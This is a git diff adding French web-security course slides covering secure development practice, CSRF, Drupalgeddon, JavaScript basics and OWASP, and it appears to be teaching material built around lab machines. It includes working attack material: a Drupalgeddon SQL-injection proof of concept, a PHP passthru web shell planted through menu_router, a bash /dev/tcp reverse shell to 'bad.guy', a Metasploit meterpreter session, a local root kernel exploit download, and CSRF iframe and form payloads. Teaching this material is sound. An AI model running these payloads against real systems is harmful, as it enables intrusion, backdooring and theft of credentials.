Proposition d'Hervé Schauer + +* Séparez-vous les paramètres secrets du code ? +* Faites-vous un suivi de version de tout votre code ? +* Gérez-vous vos dépendances et leur sécurité ? + +Note: +- c'est le web beaucoup de gens ne savent pas ce qu'ils racontent ... + - faire marcher la tête et ne pas totu copier / coller sur un espace de prod +- pensez la sécurité au moment du choix du design pattern + + +## utiliser tls + +* ne jamais utiliser FTP + * ftps et sftp fonctionnent parfaitement + * rsync et scp aussi + * chrooter un user ssh + * https://stdout.cowthink.org/setup-chroot-jails-in-linux-and-only-allow-sftp/ +* généraliser l'utilisation d'https + * [Google favorise les sites en HTTPS, c'est un critère officiel du référencement naturel](http://www.webrankinfo.com/dossiers/conseils/https-critere-seo) +* désactiver les services de types POP3, IMAP, SMTP + * utiliser les versions SSLifiées + + +#### [ISPConfig](http://www.ispconfig.org/page/home.html) + + + +[tuto d'install](https://www.howtoforge.com/tutorials/ispconfig/) + +Note: +- suExec, suPHP, chrooting avec jailkit, rkhunter +- [auto install](https://www.howtoforge.com/tutorial/ispconfig-install-script-debian/) + + +## Symfony + +* A1 + * ORM (Doctrine / Propel) + * SQLi + * librairie system / Service Parameters typés + * Command injection + * namespace / service + * LFI / RFI + + +## Symfony + +* A2 + * FOSUserBundle +* A3 + * twig + * échappe par défaut +* A4 + * security.yml + * Firewall donnant une vue globale sur la sécurité des objets + + +## Symfony + +* A5 + * configuration par défaut secure +* A6 + * [igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle) +* A7 + * système d'ACL + + +## Symfony + +* A8 + * système de jeton par défaut + * pour totue soumission de formulaire +* A9 + * basé sur github & composer +* A10 + * Service Parameters typés + + +## Parler sécurité + +* Revue de code +* Rendre les checklists collaboratives +* Bug bounty + * <i class="fa fa-beer"></i> Bières, restos, sandwichs + * ce que font les grands + * google, FB, etc ... +* DevOps + * Be fullstack +* [Discuter les modèles (exposer ou cacher)](https://en.wikipedia.org/wiki/Open-source_software_security) + +Note: +- si Microsoft ouvre tout ce n'est pas un hasard c'est que ca marche + + +#### Positiver + +<!-- .element width="50%" --> + +Note: +- effort supplémentairer à moyen constant + - pas le choix sur la présentation + + +## Utiliser des outils de gestion de dépendance + +* Bonne pratique + * permet d'éviter des problèmes de compatibilités + * permet une mise à jour globale + * permet un meilleur déploiement +* [composer](https://getcomposer.org/) (PHP) +* [bower](http://bower.io/) (Javascript client) +* [npm](https://www.npmjs.com/) (Javascript server) +* [pip](https://pypi.python.org/pypi/pip) (Python) +* [gems](https://rubygems.org/) (Ruby) + + +## Analyser le code + +* pas d'outil miracle + * peut être dans les très spécialisés et les très chers? +* statique + * lecture du code + * grep -nR + * [netbeans](https://netbeans.org/downloads/) + * ctrl+clic + * [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project) + + +## Analyser le code + +* dynamique + * exécution du code + * [OWASP Testing Project](https://www.owasp.org/index.php/OWASP_Testing_Project) + * ~ Fuzzing + * [XDebug](http://xdebug.org/) + * [KCacheGrinder](http://kcachegrind.sourceforge.net/html/Home.html) + * [BlackFiler Profiler](https://blackfire.io/) + +Note: +- les outils de gestion de version rendent services +- long et souvent très spécialisé + + +## Tests & Intégration continue (CI) + +* utiliser un outil de versionning + * [git](https://git-scm.com/), [svn](https://subversion.apache.org/), [mercurial](https://www.mercurial-scm.org/wiki/) + * rétrochronologie des vulnérabilités +* utiliser les environnements + * prod, dev, test, staging, deploy, ... +* les secrets de la CI +* [vault by HashiCorp](https://www.vaultproject.io/) + +évite le leak de configuration + + +## Tests & Intégration continue (CI) + +* tester + * intégrer la sécurité au tests + * aspect fonctionnel + * [behat](http://docs.behat.org/en/v2.5/) + * [casperjs](http://casperjs.org/) sur la base de [phantomjs](http://phantomjs.org/) + * [selenium](http://www.seleniumhq.org/) +* jouer les tests régulièrement via la ci [gitlab](https://gitlab.com/), [jenkins](https://jenkins-ci.org/), [Travis](https://travis-ci.org/), ... + + +## Déploiement logiciel + +* via la ci [gitlab](https://gitlab.com/), [jenkins](https://jenkins-ci.org/), [Travis](https://travis-ci.org/), ... +* [githook](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) +* [capistrano](http://capistranorb.com/) + * [capifony](http://capifony.org/) + * [<i class="fa fa-github"></i> capistrano/symfony](https://github.com/capistrano/symfony) +* [Fabric](http://www.fabfile.org/) +* bash <3 + + +## filtrer + +* [ngnix](http://nginx.org/) + * permet de filtrer rapidement et efficacement +* [Web application Firewal (WAF)](http://www.cert-ist.com/pub/files/Document_Cert-IST_000333.pdf) + * [mod_security](https://www.modsecurity.org/) + * permet entre autre de logger la méthode post facilement + * gare à l'espace disque + * [<i class="fa fa-github"></i> SpiderLabs/owasp-modsecurity-crs](https://github.com/SpiderLabs/owasp-modsecurity-crs) + * expressions régulières complexes + + +## Monitorer + +* Avoir un outil d'analyse de log + * permet de connaître le bruit + * beaucoup d'attaques a priori + + +## Etudier des pistes radicales + +* déporter le back office +* utiliser la génération de code + * [<i class="fa fa-github"></i> sculpin/sculpin](https://sculpin.io) + * [<i class="fa fa-github"></i> getpelican/pelican](https://github.com/getpelican/pelican) +* interdire l'upload de fichier +* utiliser markdown (pure) pour la mise en forme + * ou tout autre système de texte enrichi +* ne rien mettre sur le web + + +## S'entrainer + +* jamais sur de la prod + * ni la vôtre + * ni celle des concurrents +* Challenges + * http://www.root-me.org/ + * https://www.newbiecontest.org/ + * https://github.com/ctfs + + +## S'entrainer + +* VM + * http://www.bonsai-sec.com/en/research/moth.php + * http://sourceforge.net/projects/lampsecurity/ + * http://hackxor.sourceforge.net/cgi-bin/index.pl + * http://sourceforge.net/projects/exploitcoilvuln/ + * https://www.vulnhub.com/entry/metasploitable-1,28/ + * http://sourceforge.net/projects/metasploitable/ + + +## S'entrainer + +* Weak apps + * http://sourceforge.net/projects/mutillidae/ + * http://sechow.com/bricks/ + * https://www.pentesterlab.com/ + * http://hackingdojo.com/dojo-media/ + + +## Conclusion + +<div style="text-align: center"> +  +</div> + + +## Conclusion + +* <i class="fa fa-bullhorn"></i> une veille efficace tu maintiendras +* <i class="fa fa-bullhorn"></i> toutes les mises à jour asap tu effectueras +* <i class="fa fa-bullhorn"></i> toutes tes entrées tu filteras +* <i class="fa fa-bullhorn"></i> toutes tes sorties tu échapperas +* <i class="fa fa-bullhorn"></i> par listes blanches tu réfléchiras +* <i class="fa fa-bullhorn"></i> les bonnes pratiques tu étudieras +* <i class="fa fa-bullhorn"></i> un système fiable de déploiement tu utiliseras +* <i class="fa fa-bullhorn"></i> avec ton équipe de sécurité tu parleras + +Note: +- cacher n'est pas protégé diff --git a/content/slides/1337/md/csrf.md b/content/slides/1337/md/csrf.md new file mode 100644 index 0000000000000000000000000000000000000000..74913da7617ee56f7dfe94faef9c430f9647d962 --- /dev/null +++ b/content/slides/1337/md/csrf.md @@ -0,0 +1,222 @@ +# CSRF + +## aka Cross-Site Request Forgery + + +### <i class="fa fa-cogs"></i> Principe + +* affecte toute ressource disponible directement + * sans étape intermédiaire + * avec authentification + * usurpation de session + * ou pas + * redirection arbitraire + + +### <i class="fa fa-cogs"></i> Principe + +* le but est de rediriger un utilisateur vers une url + + * à l'insu de son plein gré + +* pour qu'il clique tous les coups sont permis + + +### <i class="fa fa-user-secret"></i> Que peut on faire? + +* exécuter des opérations avec les permissions d'un autre utilisateur +* clickjacking +* spam + +Note: +- l'action avec privilège + - urls connues (CMS, ...) + - on espère que l'utilisateur est logué +- spam de commentaire + - urls connues (CMS, ...) + + +## Mode opératoire + +<div style="text-align: center"> +  +</div> + +Note: +- rappel ici mail, mais aussi + - XSS + - lien déguisé + - url shortner + + +## Différentes techniques + +* Url ou formulaires forgés relayés via XSS +* redirection arbitraire via XSS + +* Social engineering + * initulé de lien malicieux + * url shortner + * le lien image déguisé + +* Phishing + * par mail par exemple + * approche probabiliste + + +## Différentes techniques + +* Modficiation de l'overlay en css + * likejacking ou +1jacking + * [Arrêtez de vous faire avoir sur Facebook !!! ](http://www.mycommunitymanager.fr/arretez-de-vous-faire-avoir-sur-facebook/) + +```css +a#malice { + display: block; + width: 100%; + height: 100%; + position: absolute; + top: 0; + bottom: 0; + opacity: 0.001; +} +``` + +Note: +- XSS réfléchi ou stocké ca marche + - ya toujours un con qui clique +- insolvable click jacking insolvable + - aucun moyen de distinguer les like légitimes + - ils proviennet tous d'un serveur externe à facebook + - possibilité de blacklist pour des sites réputés frauduleux + + +### [CSRF stored - security low](http://dv.wa/vulnerabilities/csrf/) + +url vulnérable + +```http +http://dv.wa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change +``` + +passage de paramètres via GET en injectant + +```http +<iframe + src="javascript:window.location='http://dv.wa/vulnerabilities/csrf/?password_new=1337&password_conf=1337&Change=Change';" + height="0" width="0" style="border:0;"> +</iframe> +``` + +via POST avec en scriptant + +```http +<form action="http://dv.wa/vulnerabilities/csrf/admin.php" method="post" id="formid" + onload="document.getElementById('formid').submit();"> + <input type="hidden" name="password_new" value="1337"/> + <input type="hidden" name="password_conf" value="1337"/> +</form> +``` + +Note: +- analyser la requête de changement de mot de passe avec burp +- forger une url +- forger un form + - injecter via XSS stored par exemple +- problème de l'action silencieuse et aveugle + - on ne sait pas sur qui ca marche + - si on a une liste des utilisateurs du site le brute force est un option + + +## <i class="fa fa-medkit"></i> Se préserver + +* **Fausses Bonnes Idées** + * utiliser la méthode POST + * vérifier le referer (ou n'importe quelle autre en-tête) + * [CSRF stored - security medium](http://dv.wa/vulnerabilities/csrf/) +* Double Submit Pattern + * [CSRF stored - security high](http://dv.wa/vulnerabilities/csrf/) + + +## <i class="fa fa-medkit"></i> Synchronizer Token Pattern + +<div style="text-align:center"> +  +</div> + + +## <i class="fa fa-medkit"></i> Synchronizer Token Pattern + +* token de session + * jeton dans un formulaire OU dans l'url ET dans la session utilisateur + * avec éventuellement une salaison propre à l'utilisateur comme l'IP par exemple + * on préserve ainsi le token et on cache un manque d'entropie éventuel + +```http +<input type="hidden" name="csrftoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt"> +``` + + +## <i class="fa fa-medkit"></i> Synchronizer Token Pattern + +* <i class="fa fa-frown-o"></i> compliqué avec une utilisation massive de XMLHttpRequest +* <i class="fa fa-frown-o"></i> possibilité de [jetons malins via fixation de session via le referer](http://voices.washingtonpost.com/securityfix/2009/07/weaponizing_web_20.html) ou de brute force + * utiliser des nonces pourrait être une solution + + +## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token) + +* adapté à une utilisation massive de JS +* basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy) + +* A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur + +```js +Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/ +``` + + +## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token) + +* JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête + +```js +X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql +``` + +* Le serveur vérifie la validité du token + + +## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html) + +[http://dvwa.com/vulnerabilities/captcha](http://dvwa.com/vulnerabilities/captcha) + +* Security level: low + * action configurée en 2 étapes + * Etape 1 + * validation du captcha + * Etape 2 + * exécution de l'action + * en modifiant le paramètre step à 2 on bypass le captcha + + +## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html) + +* Security level: medium + * action configurée en 3 étapes + * Etape 1 + * validation du captcha + * Etape 2 + * Confirmation de l'action + * Etape 3 + * exécution de l'action + * en modifiant le paramètre step à 2 et en ajoutant Change=Change on bypass le captcha + + +## <i class="fa fa-medkit"></i> Se préserver + +* Côté client + * [RequestPolicy](https://addons.mozilla.org/fr/firefox/addon/requestpolicy) protège mais peut empêcher certains sites de fonctionner + * [CsFire](https://addons.mozilla.org/fr/firefox/addon/csfire) protège un peu en enlevant toute information d'authentification pour les requêtes cross-site + * [NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript) va prémunir des scripts en provenance de de sites non sûrs + * [Self-Destructing Cookies](https://addons.mozilla.org/fr/firefox/addon/self-destructing-cookies) permet de réduire la fenêtre d'attaque en supprimant les cookies dès qu'ils ne sont plus associé à un onglet actif diff --git a/content/slides/1337/md/drupalgeddon.md b/content/slides/1337/md/drupalgeddon.md new file mode 100644 index 0000000000000000000000000000000000000000..df2fdc6806aef607f80923c9084f82217cb91607 --- /dev/null +++ b/content/slides/1337/md/drupalgeddon.md @@ -0,0 +1,328 @@ +## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"--> + + +## système vulnérable + +* Wheezy [Debian 7.0.0 – amd64 – netinst](http://www.debiantutorials.com/download-debian-iso/) + * paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com) + * le couper juste après la conf du DHCP à l'install + * à l'installation + * surtout pas d'upgrade pour garder un kernel vulnérable + +** Nous disposons d'une machine vulnérable à un ** + +** [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/) ** + + +## Drupal vulnérable + +* [drupal 7.X](https://www.drupal.org/drupal-7.31-release-notes) < 7.32 déployé, configuré selon la [doc](https://www.drupal.org/node/394704) + +```shell +$ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\ -f1` +$ chown -R $HTTPDUSER sites/default/files +$ chmod -R 0700 sites/default/files +``` + +* les images [ova sont là ](https://gitlab.com/mazenovi/webSec) + + +## Trouver un système vulnérable sur le www + +[<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal) + +[<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal) + + +## Trouver un système vulnérable sur le www + +* ne filtrer que les drupal vulnérables + * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap) + +```http +$ python cmsmap.py -t http://drup.al +... +[H] Drupal Vulnerable to SA-CORE-2014-005 +... +``` + + +## La faille + +* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005) + * Version: 7.x < 7.32 + * Date: 2014-October-15 + * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels) + + +## La faille + +[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 + +```php +foreach (array_filter($args, 'is_array') as $key => $data) { + $new_keys = array(); + foreach ($data as $i => $value) { + $new_keys[$key . '_' . $i] = $value + } +} +``` + +* $i est un index de tableau de variables HTTP +* le contenu des clés de $new_keys est utilisé comme paramètre d'une requête SQL + * possibilité d'injecter du code SQL dans les clés des paramètres HTTP + + +## La faille + +[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 + +```php +foreach (array_filter($args, 'is_array') as $key => $data) { + $new_keys = array(); + /* patched version begin */ + foreach (array_values($data) as $i => $value) { + /* patched version end */ + $new_keys[$key . '_' . $i] = $value + } +} +``` + +* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique + +Note: +- combien de dev PHP? +- combien utilisent array_values() +- forcer le type des paramètres est une bonne option +- debugging et dump variable à creuser + - code drupal compliqué ou mal fait + + +## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx) + +* 16 sept. 2014 : notification à Drupal +* 15 oct. 2014 : publication du correctif +* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003) +* 3 nov. 2014 : release de deux exploits publiques + + +## Timeline côté attaquant + +* 16 sept. 2014 : notification à Drupal +* 15 oct. 2014 : publication du correctif +* 15 oct. 2014, 4h après : exploitations en cours… +* 16 oct. 2014 : de très nombreux Drupal compromis… + + +## Exploitation manuelle + +remplacer + +```html +<input id="edit-name" name="name" type="text"> +``` + +par + +```html +<input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" /> +<input name="name[0]" type="text" value="test" /> +``` + +<!-- .element class="fragment roll-in" --> + +Note: +- mettre un mot de passe + + +## PoC + +[<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) + +```php +$url = $argv[1]; +$sql = $argv[2]; +$sql = str_replace('{', '\' , CHAR(123), \'', $sql); +$sql = str_replace('}', '\' , CHAR(125), \'', $sql); +$sql = str_replace('[', '\' , CHAR(91), \'', $sql); +$sql = str_replace(']', '\' , CHAR(93), \'', $sql); +$sql = urlencode($sql); + +//Send a request to the user login form +$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test"; +$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; +$params = array( + 'http' => array( + 'method' => 'POST', + 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", + 'content' => $post_data + ) +); +$ctx = stream_context_create($params); +$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx); +``` + +```shell +$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood' +``` + + +## Admin user + +* [Drupal 7 Sql Injection SA-CORE-2014-005 CVE-2014-3704](http://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/) + +```shell +python drup4l_7_31_SqlInj_add_admin.py -t http://drup.al -u 1337 -p 1337 +``` +* représente 26% d'utilisation de la faille + * industrialisé pour vendre du viagra + +<!-- .element class="fragment roll-in" --> + + +## Backdoor + +rerésente 68% des attaques + +Simple backdoor shell + +```php +$malicious_file_to_upload = '<?php +if(isset($_REQUEST["cmd"])){ + echo "<pre>"; + passthru($_REQUEST["cmd"]); + die; +} +phpinfo();'; +``` + +* [passthru()](http://php.net/manual/fr/function.passthru.php) + +* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt) + + +## Backdoor + +* Architecture Drupal + * menu_router + * un url = un callback + un tableau d'arguments sérialisés + +```sql +insert into menu_router values ('backdoor','','','file_put_contents', +$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,''); +``` + +Payload + +```php +$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload); +$attack_payload = serialize($attack_payload); +``` + +[http://drup.al/backdoor](http://drup.al/backdoor) + +Note: +- bien entendu on appelle pas ça backdoor +- en réalité l'exploit de Matt Korostoff marche avec un cookie +- deux ou trois échappement sont nécessaire +- même pas besoin créer le compte admin hein ... + - automatisable à souhait + + +## exploitation + +```shell +$ php attack/exploit.php 'http://drup.al' +``` + +* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php) + * affiche phpinfo() +* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php) + * affiche les paramètres SQL + + +## exploitation + +```shell +nc -lvvp 1337 +``` + +met le poste de l'attaquant en écoute sur le port 1337 + +```http +http://drup.al/sites/default/files/backdoor.php? +cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash'); +``` + +en version encodée + +```http +http://drup.al/sites/default/files/backdoor.php? +cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0``` + +* connecte le serveur sur l'IP de l'attaquant + +Note: +- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/) +- Bind shell improbable +- ICMP Reverse Shell passe par le protocole ICMP + - analyse des ping wireshark + - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/) + - sur ma maquette ca marche aussi sur le port 80 ... + + +## metasploit + +[exploit Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb) + +```shell +msf > use exploit/multi/http/drupal_drupageddon +msf exploit(drupal_drupageddon) > set RHOST drup.al +msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp +msf exploit(drupal_drupageddon) > set LHOST bad.guy +msf exploit(drupal_drupageddon) > exploit +[✳] Started reverse handler on 172.16.76.145:4444 +meterpreter > shell +whoami +www-data +``` + +<!-- .element class="fragment roll-in" width="200px"--> + +Note: +- l'autocomplétion avec tabulation +- Port à rerouter of course + + +## escalade de privilèges + +* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/) + * environ tous les 2 ans + * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094) + * fonctionne sur les archi 64bits uniquement + * kernel de 2.6.37 à 3.8.10 + +```shell +$ wget www.tux-planet.fr/public/hack/exploits/kernel/semtex.c +$ gcc -O2 semtex.c +$ ./a.out +$ whoami +``` + + +## W00T + +<!-- .element width="100%"--> + + +## Moralité + +* un malheur n'arrive jamais seul + * [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy) +* tout doit être à jour + * système, lib, cms, services, ... +* mieux vaut s'appuyer sur des communautés + * réactives + * préoccupées par la sécurité +* bien suivre les mises à jour des produits + * et patcher asap quand nécessaire diff --git a/content/slides/1337/md/js.md b/content/slides/1337/md/js.md new file mode 100644 index 0000000000000000000000000000000000000000..f8eb7da6557ce28073eef8787755258f6caf7a0f --- /dev/null +++ b/content/slides/1337/md/js.md @@ -0,0 +1,142 @@ +# javascript + +## aka ECMAScript + + +## Javascript + +* 95 netscape livescript +* interpréteur js propre au navigateur + * ie s'arrête de charger la page en cas d'erreur + * ff ou chrome essaient de continuer l'exécution +* sensible à la casse +* asynchrone + + +## Javascript + +* var contexte + * var dans le sciprt accessible partout y compris dans les fonctionns + * var dans les fonctions scope restreint à la fonction + * sans le var on déclare forcément global + * y compris dans une variable + +Note: +- on peut avoir du js dans un pdf (adobe reader a donc un interpréteur js) +- Google a mis le pied sur l'accélérateur avec la sortie de chrome + - ca ve de mieuix en mieux en terme de comatibilité cross browser + + +## Les événements + +* déclenchement de traitements + * interaction utilisateur + +* événements de là page + + +## Les événements + +* onload + * quand tous les éléments sont chargés + * il est alors possible de modifier les contenus + +* onunload + * quand on quitte le navigateur + * abandonner car trop intrusif + + +## Les événements + +* onerror + * en cas d'échec + * chargement d'image ou d'iframe par exemple + +* onsubmit + * quand un formulaire est soumis + * changer l'url d'un formulaire à la volée + + +## Le DOM + +[<i class="fa fa-book" aria-hidden="true"></i> document](https://developer.mozilla.org/en-US/docs/Web/API/Document) + +* Document Object Model + * document.referer (SEO) +* id unique getElementById + * renvoie un résultat +* getElementsByTagname + * renvoie un tableau d'elements + * la page en cours est le contexte + * history.back() c'est un autre contexte + * frame ... + + +## Le DOM + +* document.cookie + * values = document.cookie.split(';') + * "userid=maze;expires=friday 29 sept" +* souvent utilisé pour exploiter les XSS + * changer le contenu de la page + * rediriger la page + * changer l'url d'un formulaire + + +## vrac + +[<i class="fa fa-book" aria-hidden="true"></i> window](https://developer.mozilla.org/en-US/docs/Web/API/Window) représente l'environement du navigateurs + +```js +window.alert('PoC') +``` + +```js +console.log('plus silencieux car visible avec la console only') +``` + +```js +alert(document.cookie); // affiche le contenu du cookie de session en pop up +window.location = "http://bad.guy"; // redirige vers http://bad.guy +``` + +Note: +- redirection sur une page identique + - maitrisée par nous qui renvoie au serveur oriignal après avoir récup le login / mot de passe + + +## inclusion + +dans le corps de la page + +```js +<script>alert('Poc');</script> +``` + +dans un fichier externe + +```js +<script src="http://evil.com/payload.js"></script> +``` + +directement dans les événements associés à un élément du DOM + +```js +<a onclick="javascipt:alert('clicked');">peacefull link</a> +<img onload="javascript:console.log('quieter');" /> +``` + + +## AJAX / XMLHTTPRequest + +* associé au web 2.0 (2006) +* existe depuis le début HTTP 1.0 (1989) + * google map éléments de la carte chargés et rafraichis au déplacement +* permet un appel asynchrone d'url + * sans recharger la page + * le résultat reçu est utilisable par js + +[<i class="fa fa-github"></i> un gist exemple](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30) + + +[<i class="fa fa-book"></i> pour le reste tout est accessible à partir d'ici](http://edu.muetton.me/) diff --git a/content/slides/1337/md/owasp.md b/content/slides/1337/md/owasp.md new file mode 100644 index 0000000000000000000000000000000000000000..c3556b2f8f6b24d78233e5373c5a2e60795c9e80 --- /dev/null +++ b/content/slides/1337/md/owasp.md @@ -0,0 +1,105 @@ +## OWASP +* depuis janvier 2001 +* fondation Américaine + * [à but non lucratif](http://en.wikipedia.org/wiki/501%28c%29_organization#501.28c.29.283.29) +* en France + * Association loi 1901 + * participe au [clusif - Club de la Sécurité de l’Information Français](http://www.clusif.asso.fr/) + * Ludovic Petit & [Sebastien Gioria ](https://twitter.com/spoint) + * [L'OWASP, l'univers, et le reste](https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/) + +<br /><br /> + +<iframe src="https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/video/" width="640" height="380" frameborder="0" allowfullscreen></iframe> + + +## OWASP - Indépendance + +* composé d'experts indépendants +* indépendant des fournisseurs de solution +* indépendant des gouvernements +* Les projets sont opensource +* nombreux adhérents + * entreprises + * institutions + * individus + * [liste des membres](https://docs.google.com/spreadsheets/d/1FQEj2xQb1uTxZMXshPs0suy1Bkb5iYCbHH_vrzHMVa4/edit) + * [join now](http://myowasp.force.com/memberappregion) + * <strike>adhésion gratuite</strike> donation obligatoire 50$ minimum + + +## OWASP - Projets + + + + + + + +## OWASP - Quelques projets + +* Automated Security Verification + * Vulnerability Scanners + * Statis Analysis Tools + * fuzzing (test de données aléatoires en entrée d'un programmme) +* Manual Security Verification + * Penetration Testing Tools + * Code Review Tools +* Security Architecture + * ESAPI +* Secure coding + * AppSec Libraries + * ESAPI Reference implementation + * Guards and Filters + + +## OWASP - Quelques projets + +* AppSec Management + * Reporting Tools +* AppSec Education + * Flawed Apps (application trouée) + * Learning Environments + * Live CD + * SiteGenerator (generateur de sites avec vulnérabilités) +* Canaux de diffusion + * [wiki](https://www.owasp.org/index.php/Main_Page) + * [Podcast](https://www.owasp.org/index.php/OWASP_Podcast) + * [Conference](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) + * [Lists](https://lists.owasp.org/mailman/listinfo) + * [Livres](https://www.owasp.org/index.php/Category:OWASP_Books) + * [OWASP github](https://github.com/OWASP) + + +## Owasp projects architecture + +* [OWASP Top Ten project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) +* [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) -> v4 in progress + * [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) +* [OWASP Code Review Guide](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project) +* [OWASP Developer Guide](https://www.owasp.org/index.php/OWASP_Guide_Project) +* [OWASP Application Security Desk Reference](https://www.owasp.org/index.php/Category:OWASP_ASDR_Project) +* Projects + * [OWASP Cheat Sheets](https://www.owasp.org/index.php/Cheat_Sheets) + * [OWASP Application Security Verification Standard (ASVS)](http://www.owasp.org/index.php/ASVS) + * [OWASP Top Ten Project](http://www.owasp.org/index.php/Top_10) + * [OWASP Code Review Guide](http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project) + * [OWASP Testing Guide](http://www.owasp.org/index.php/Testing_Guide) + * [OWASP Legal Project](http://www.owasp.org/index.php/Category:OWASP_Legal_Project) + + +## S4UC3 PLZ + +* [OWASP Where we are.. Where are we going](https://docs.google.com/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.g1fd9ad1e_0_10) +* [[MSTD10] - Une méthode d'évaluation de la sécurité Web - 1/1](http://www.microsoft.com/france/vision/mstechdays10/Webcast.aspx?EID=413f809d-abbc-467d-a930-5e2d7da27fef) +* [Web Application Firewalls (WAF)](http://www.cert-ist.com/documents/Document_Cert-IST_000333.pdf) +* Autres + * [PCI SSC †Payment Card Industry Security Standards Council](https://www.pcisecuritystandards.org) + * [PCI - DSS Data Payment Card Industry Security Standard](https://www.pcisecuritystandards.org/security_standards/documents.php) + * [french version](http://fr.pcisecuritystandards.org/minisite/en/) + * [Web Application Security Consortium Project page](http://projects.webappsec.org) + * [Imperva - Resources](http://www.imperva.com/resources/overview.html) + * [MITRE †Common Weakness Enumeration – Vulnerability](Trends, http://cwe.mitre.org/documents/vulnâ€trends.html) + * [CLUSIF](http://www.clusif.asso.fr/) + * [CLUSIF - ouvrages](http://www.clusif.asso.fr/fr/production/ouvrages/) + * [CLUSIR - Rhônes-Alpes](http://www.clusir-rha.fr/) diff --git a/content/slides/1337/md/reagir/00_contexte.md b/content/slides/1337/md/reagir/00_contexte.md new file mode 100644 index 0000000000000000000000000000000000000000..e4ef330efa80118c0d309e6f660788aa4dd0a3e7 --- /dev/null +++ b/content/slides/1337/md/reagir/00_contexte.md @@ -0,0 +1,198 @@ +## Contexte + +<div style="text-align: center"> + + <!-- .element: width="80%" --> + +</div> + + +## Contexte +* Les états ont/vont renforcer la règlementation pour combattre les failles et les attaques 